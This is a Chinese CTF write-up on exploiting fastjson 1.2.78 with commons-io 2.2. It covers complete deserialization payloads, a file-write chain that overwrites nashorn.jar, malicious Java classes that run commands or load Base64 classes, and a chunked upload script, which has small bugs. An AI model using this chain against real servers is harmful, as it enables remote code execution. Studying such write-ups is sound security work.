记录CVE-2022-25845-In-Spring解题中遇到的问题

题目来自:https://mp.weixin.qq.com/s/DdveJJ6XRulQkNgud9jf4w

题目环境依赖版本:

  1. commons-io 2.2
  2. fastjson-1.2.78

官方 wp:https://mp.weixin.qq.com/s/9e0V4bnV6fuGAfO1AKLYdw

一血 wp:https://mp.weixin.qq.com/s/3wBOOlcHN5cX8mqw7J-yXA

注入 InputSteam 缓存

payload 如下:

{
  "a": "{    \"@type\": \"java.lang.Exception\",    \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\",    \"p\": {    }  }",
  "b": {
    "$ref": "$.a.a"
  },
  "c": "{  \"@type\": \"com.fasterxml.jackson.core.JsonParser\",  \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",  \"in\": {}}",
  "d": {
    "$ref": "$.c.c"
  }
}

Payload 解析

缓存注入原理,下文为简要描述,详细请拜读https://squirt1e.top/2024/11/08/fastjson-1.2.80-springboot-xin-lian/

{"@type": "java.lang.Exception","@type": "com.fasterxml.jackson.core.exc.InputCoercionException","p": {}}

通过设置Exception为期望类,再通过子类InputCoercionExceptionJsonParser写入deserializer

{"@type": "com.fasterxml.jackson.core.JsonParser","@type": "com.fasterxml.jackson.core.json.UTF8StreamJsonParser","in": {}}

deserializers 获取JsonParser,再作为期望类获取UTF8StreamJsonParserInputSteam 写入deserializers以便后续利用

Q&A

1️⃣ 为什么字段 a是“字符串里的 JSON”

"a": "{ 
  \"@type\": \"java.lang.Exception\",
  \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\",
  \"p\": { }
}"

这是字符串,不是对象(非常关键)

Fastjson 一次解析整个 payload 时:

  • a 的类型为String
  • 不会触发 autoType
  • 不会实例化其中的类

2️⃣ 字段 b 的作用

"b": {
  "$ref": "$.a.a"
}

<font style="color:rgb(15, 17, 21);background-color:rgb(235, 238, 242);">$ref</font> 是处理 对象引用关系 的核心机制,这是整条 payload 的第一个“发动机”

  • $.a → 是一个 字符串,$ref 指向 a
  • a 是 字符串,不是对象
  • Fastjson 发现 a 没有 a 属性 → 触发 fallback
  • 字符串 "{"a":1}" 被解析为对象 → 然后访问 a

相当于为:

String  →  JSON.parseObject(String)

👉** 这一步,**a** 里的字符串 JSON 才真正被反序列化**

覆盖 jar 包实现 RCE

payload 如下:

{
    "a": {
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.AutoCloseInputStream",
      "in": {
        "@type": "org.apache.commons.io.input.TeeInputStream",
        "input": {
          "@type": "org.apache.commons.io.input.CharSequenceInputStream",
          "s": {"@type": "java.lang.String""${shellcode}",
          "charset": "UTF-8",
          "bufferSize": 24
          },
          "branch": {
            "@type": "org.apache.commons.io.output.WriterOutputStream",
            "writer": {
              "@type": "org.apache.commons.io.output.LockableFileWriter",
              "file": "/usr/local/openjdk-8/jre/lib/ext/nashorn.jar",
              "encoding": "UTF-8",
              "append": true
            },
            "decoder": {
            "@type": "com.alibaba.fastjson.util.UTF8Decoder"
          },
            "bufferSize": 1024,
            "writeImmediately": true
          },
          "closeBranch": true
        }
      },
      "b": {
        "@type": "java.io.InputStream",
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "org.apache.commons.io.input.XmlStreamReader",
          "is": {
            "$ref": "$.a"
          },
          "httpContentType": "text/xml",
          "lenient": false,
          "defaultEncoding": "UTF-8"
        },
        "charsetName": "UTF-8",
        "bufferSize": 1024
      }
    }

Payload 解析

Payload 适用于 commons-io 2.2 写文件,不同的版本类构造方法中的参数名会有所改变,比如commons-io 2.5 中CharSequenceInputStream 的构造方法为 public CharSequenceInputStream(final CharSequence cs, final Charset charset, final int bufferSize),构造的 JSON 数据应该是这样的:

"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"cs": {"@type": "java.lang.String""${shellcode}",
"charset": "UTF-8",
"bufferSize": 24

commons-io 2.7 中 XmlStreamReader的构造方法为public XmlStreamReader(InputStream inputStream, boolean lenient, String defaultEncoding),构造的 JSON 数据应该是这样的:

"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
  "$ref": "$.a"
},

所以对于不同的版本需要去核对一下参数名,这里就先记录这些~

通过写文件覆盖环境中的/usr/local/openjdk-8/jre/lib/ext/nashorn.jar 来实现 RCE

但是在写入过程中发现该利用链无法写入特殊字符,会在 String-Byte 转换过程中出现异常

通过https://github.com/c0ny1/ascii-jar项目消除 jar 中的特殊字符后写入,修改类为jdk.nashorn.tools.Shell

package jdk.nashorn.tools;

import com.alibaba.fastjson.annotation.JSONType;
import com.alibaba.fastjson.annotation.JSONCreator;
import java.io.IOException;

@JSONType
public class Shell {
    private static String paddingData = "{PADDING_DATA}";

    public Shell() {
    }

    public void setCmd(String cmd) {
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException ignore) {
        }
    }
}

类加载:

package jdk.nashorn.tools;

import com.alibaba.fastjson.annotation.JSONCreator;
import com.alibaba.fastjson.annotation.JSONType;
import java.lang.Exception;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.Base64;

@JSONType
public class Shell {
    private static String paddingData = "{PADDING_DATA}";
    
    public Shell() {
    }

    public void setCode(String code) {
        try {
            byte[] bytes = Base64.getDecoder().decode(code);
            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
            defineClass.setAccessible(true);
            Class invoke = (Class) defineClass.invoke(new URLClassLoader(new URL[]{}, Thread.currentThread().getContextClassLoader()), bytes, 0, bytes.length);
            invoke.newInstance();
        } catch (Exception var3) {
        }
    }
}

这里需要注意的是需要通过@JSONType 注解绕过 autoType 白名单

第一次请求时需要修改"append": false来覆盖文件,利用脚本如下

payload = open("payload.json", encoding="utf-8").read()
shellcode = open("nashorn.jar.evil", "rb").read()
hex_shellcode = ''.join(f'\\x{byte:02x}' for byte in shellcode)
chunk_size = 12
print("[+] write chunk...")
for i in range(0, len(hex_shellcode), chunk_size):
    chunk = hex_shellcode[i:i+chunk_size]
    step2_payload = payload.replace(r'${shellcode}', chunk).replace(r'${file}', filewrite).replace(r'${filemode}', str(bool(i)).lower())
    requests.post(url, data=payload, headers={"Content-Type": "application/json"})
    time.sleep(0.1)
print("[+] write done")

覆盖文件后通过 Fastjson 反序列化触发 RCE

{
  "@type":"jdk.nashorn.tools.Shell",
  "cmd":"${cmd}"
}

Q&A

1️⃣ 为什么 Payload 不是规范的 JSON 结构

原因是由于 payload 中的其中一块却少}闭合

"input": {
  "@type": "org.apache.commons.io.input.CharSequenceInputStream",
  "s": {"@type": "java.lang.String""${shellcode}",
  "charset": "UTF-8",
  "bufferSize": 24
}

由于CharSequenceInputStreams 参数为CharSequence类,该类是一个接口类,而 String 实现了该类,大概处理流程如下:

  1. 遇到{时表示后续为一个对象
  2. 看到 @type = java.lang.String
  3. 进入** **StringCodec#deserializer 特殊分支,如下图,直接获取字符串并返回

  1. 后续如果闭合}会导致解析提前结束

这一块找官方文档也没找到~跟了下代码发现这种写法只限于String.class\StringBuffer.class\StringBuilder.class

2️⃣ 为什么每次只能写入 3 个字节

XmlStreamReader构造处跟进代码

public XmlStreamReader(InputStream is, String httpContentType, boolean lenient, String defaultEncoding) throws IOException {
    this.defaultEncoding = defaultEncoding;
    BOMInputStream bom = new BOMInputStream(new BufferedInputStream(is, 4096), false, BOMS);
    BOMInputStream pis = new BOMInputStream(bom, true, XML_GUESS_BYTES);
    this.encoding = this.doHttpStream(bom, pis, httpContentType, lenient);
    this.reader = new InputStreamReader(pis, this.encoding);
}

bom.boms长度为 3,pis.boms 长度为 4

跟进doHttpStream方法

getBOM:174, BOMInputStream (org.apache.commons.io.input)
getBOMCharsetName:201, BOMInputStream (org.apache.commons.io.input)
doHttpStream:439, XmlStreamReader (org.apache.commons.io.input)
<init>:326, XmlStreamReader (org.apache.commons.io.input)

调用bom.getBOMCharsetName()时,BOMInputStream.boms 长度为 3

后续调用CharSequenceInputStream.read读取所有内容,之后在TeeInputStream.read中写入

之后到AutoCloseInputStream.afterRead处由于读取字节n=3,这里不会关闭句柄

当调用pis.getBOMCharsetName()时,BOMInputStream.boms为 4 字节

当读取不到第 4 个字节时导致 n=-1 则会 使得AutoCloseInputStream.close()关闭句柄成功写入文件,否则句柄不会关闭就不可以追加写入文件

一次写入大文件参考:https://forum.butian.net/index.php/share/4427

3️⃣ 为什么无法写入特殊字符

由于在 linux cio2.2 情况下反序列化WriterOutputStream时选取构造方法为public WriterOutputStream(Writer writer, CharsetDecoder decoder, int bufferSize, boolean writeImmediately)

其中 decoder只能选择com.alibaba.fastjson.util.UTF8Decoder,导致字符在该编码情况下出现错误

而在选取public WriterOutputStream(Writer writer, String charsetName, int bufferSize, boolean writeImmediately)作为构造函数时,decoder是通过 chatset 去获取

public WriterOutputStream(Writer writer, Charset charset, int bufferSize, boolean writeImmediately) {
    this(writer, charset.newDecoder().onMalformedInput(CodingErrorAction.REPLACE).onUnmappableCharacter(CodingErrorAction.REPLACE).replaceWith("?"), bufferSize, writeImmediately);
}

至于为什么选取的构造方法不同,请看下文:

JavaBean 实例化

下图来自 Kcon2022 Hacking JSON 的 PPT

1️⃣ 构造方法的选择

在做题时,发现在 win/linux/mac 上 Payload 中实例化 WriterOutputStream 所选择的构造方法是不同的(commons-io 2.2 为如下结果,其他版本会变)

win 上为public WriterOutputStream(Writer writer, String charsetName, int bufferSize, boolean writeImmediately)

linux/mac 则为public WriterOutputStream(Writer writer, CharsetDecoder decoder, int bufferSize, boolean writeImmediately)

根据调试可以得知通过反射获取构造方法,并在之后遍历

遍历时每次通过与上一个构造方法参数数量进行比对,当目前构造方法参数最多时则跳过

Mac 上结果如下,所以最后会选择带有CharsetDecoder 参数类型的构造方法

public org.apache.commons.io.output.WriterOutputStream(java.io.Writer)
public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.lang.String)
public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.nio.charset.CharsetDecoder)
public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.nio.charset.CharsetDecoder,int,boolean)
public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.nio.charset.Charset,int,boolean)
public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.nio.charset.Charset)
public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.lang.String,int,boolean)

2️⃣ 参数的匹配

构造如下图的类,根据上图逻辑一定会输出User(String code1, String code2, String code3),这毋庸置疑

public class User {
    
    public User(String code) {
        System.out.println("User(String code)");
    }

    public User(String code1, String code2, String code3) {
        System.out.println("User(String code1, String code2, String code3)");
    }
}

但是当我用 IDEA 测试时居然出现如下情况:

default constructor not found. class User

没找到默认的构造器,查看编译后的 User.class,会发现如图两个构造方法的形参名都是 varN,Fastjson 反序列化时怎么通过变量名去匹配?

于是询问 AI 后,我们在编译时加入选项-parameters,编译后如下图:

但还是一样的错误,这又是为什么呢!根据调试,Fastjson 通过 ASMUtils 获取的参数方法

验证一下:

Constructor<?>[] declaredConstructors = Class.forName("User").getDeclaredConstructors();
for (Constructor<?> declaredConstructor : declaredConstructors) {
    System.out.println(declaredConstructor);
    System.out.println("Reflect:");
    for (Parameter parameter : declaredConstructor.getParameters()) {
        System.out.println("\t" + parameter);
    }
    System.out.println("ASM:");
    for (String s : ASMUtils.lookupParameterNames(declaredConstructor)) {
        System.out.println("\t" + s);
    }
}

输出如下,ASMUtils确实没获取到方法

public User(java.lang.String)
Reflect:
	java.lang.String code
ASM:
public User(java.lang.String,java.lang.String,java.lang.String)
Reflect:
	java.lang.String code1
	java.lang.String code2
	java.lang.String code3
ASM:

查看 ASMUtils.lookupParameterNames 的实现,通过查看LocalVariableTable 获取参数,而反射是看MethodParameters

这个时候只需要将**编译参数修改为-g:vars **就可以将变量信息写入LocalVariableTable,或者直接-g生成所有调试信息即可

3️⃣ 通过注解指定

在调试过程中会发现无论是在获取构造方法还是获取参数时都会看到查看注解的代码

在构造一个类时可以通过@JSONCreator选定默认的构造器,通过@JSONField来映射参数名,通过@JSONType标识允许反序列化,通过该注解可绕过 autoType

@JSONCreator
public User(@JSONField(name = "code1")String code1, @JSONField(name = "code2")String code2) {
    System.out.println("User(String code1, String code2)");
    System.out.println("code1: " + code1);
    System.out.println("code2: " + code2);
}
String poc = "{\"@type\": \"User\",\"code1\":\"asd\",\"code2\":\"qwe\",\"code\":\"123\"}";
JSON.parse(poc);
------------output--------------
User(String code1, String code2)
code1: asd
code2: qwe

参考文章

缓存注入:https://squirt1e.top/2024/11/08/fastjson-1.2.80-springboot-xin-lian/

fastjson 反序列化过程:https://y4er.com/posts/fastjson-bypass-autotype-1268/

一次性写入大文件:https://forum.butian.net/index.php/share/4427

posted @ 2026-02-24 15:43  se1zer  阅读(1)  评论(0)    收藏  举报